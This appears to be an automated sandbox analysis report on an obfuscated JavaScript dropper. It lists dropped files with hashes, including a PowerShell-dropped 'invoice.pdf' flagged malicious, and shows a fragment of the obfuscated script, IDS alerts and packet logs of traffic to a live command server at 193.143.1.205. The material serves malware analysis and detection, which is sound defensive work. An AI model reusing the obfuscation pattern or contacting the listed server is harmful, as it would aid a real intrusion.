Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e851d20e-b285-474e-9ba3-7519d76ed717.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (20038), with CRLF line terminators
Entropy (8bit):	4.892707595902933
TrID:
File name:	270782763316448754.js
File size:	23'501 bytes
MD5:	7ca280dd498f566d29be5d4d021a4e8b
SHA1:	cadb00dfb999a9e4777c1600cb77448ae16b0993
SHA256:	9496a274f75d37da397981e5895abcb4890510f101d800cf764602419c32003f
SHA512:	2f1389ce4916184ce464b4b1648f435cc10b111f6cf61a1cb445b0f48dba6325ecccc6dfe1d1e6a46b9462464f1225c037e1944dc8453f9a3dd19f584545b76f
SSDEEP:	384:7K4N7deBR/dbnhjSMl62cw8bdZ18s+UBOMOk7jGOu5i7c/cjOz3ACB6v0UymzXRy:7x985FN62cwmLhjKsMX3
TLSH:	7FB235C8CD447FBB88EE45708BF785DE7AF94268D11924C98C52ADC02705E55F8F22B6
File Content Preview:	function qbyke(){gaunmmnz=[1031,3079,5127,4103,2055,3072];var twdakgra=this[kszqdbfct+uubkstoiu+pmndv+hvtcfexqt+cmsse+byjbiylss+bowfev+qsind](this[revze+qnckqqjht+dweagts+pmndv+poppwoox+kszqdbfct+qsind][pvonpi+pmndv+cmsse+uubkstoiu+qsind+cmsse+zlevsbj+yaj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:48:34.240194+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T17:48:36.356663+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:48:33.436978102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:33.441914082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:33.442080975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:33.444856882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:33.449708939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.239948034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.239968061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.239979029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240000010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240010977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240022898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240036011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240047932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240060091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240072966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.240194082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.240194082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.240195036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.297425985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.297466993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.297504902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.297626019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.367016077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367037058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367050886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367063046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367078066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367156982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.367356062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.367424965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367470980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.367489100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367501974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367515087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367528915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.367539883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.367568970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.368344069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.368364096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.368376970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.368390083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.368402958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.368407011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.368429899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.369241953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.369256020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.369266987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.369364023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.369364023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.383537054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.418817043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.418838978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.418862104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.418874979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.418886900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.418951035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.419011116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.453341961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.453358889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.453413963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.482705116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.482732058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.482767105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.482784033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.482805967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.482848883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.482901096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.482933998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.482970953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.483058929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483094931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483114958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483133078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.483148098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483169079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483187914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.483191013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483227968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.483860016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483881950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483905077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.483927011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.484221935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484255075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484262943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.484277010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484297037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484316111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.484316111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484338045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484357119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.484359980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.484396935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.485263109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485285997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485308886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485327959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485327959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.485349894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485372066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485384941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.485395908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.485407114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.486140966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.486176968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.486186028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.504983902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505003929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505017996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505029917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505043030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505053997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.505079031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.505108118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.505126953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505193949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505204916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505218029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.505229950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.505254030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.568861961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.568886042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.568958044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.568969011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.568981886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.568993092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569072962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.569072962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.569072962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.569267988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569278955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569312096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.569392920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569406033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569417000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569430113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569458008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.569478989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.569752932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569767952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569780111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.569801092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.606781960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.606794119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.606803894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.606914997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.606925964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.606935024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.606978893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.606978893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.607722044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607733965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607745886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607758999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607769012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.607795954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.607947111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607955933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607964993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.607985973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608000040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608100891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608112097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608122110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608134985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608140945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608149052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608184099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608489037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608527899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608573914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608584881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608596087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608607054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608619928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608624935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608632088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.608645916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.608670950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.609204054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609215021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609225035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609236002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609246969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609251976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609256029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.609257936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609323978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.609848976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609859943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609869003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609879971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609890938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609899044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.609904051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.609911919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.609930038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.610394955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610409021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610419989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610430002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610435009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.610440969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610452890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610456944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.610464096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610474110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610483885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610491037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.610495090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.610519886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.611320972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611339092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611350060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611362934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611365080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.611375093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611387014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611393929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.611398935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611409903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611422062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611429930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.611434937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.611449003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.611470938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.612183094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.612194061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.612204075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.612229109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.612241983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.665157080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665175915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665189981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665204048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665220976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665291071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665307999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665314913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665321112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665327072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665338039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665354013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665364981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665376902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.665397882 CET	80	49704	193.143.1.205	192.168.2.5
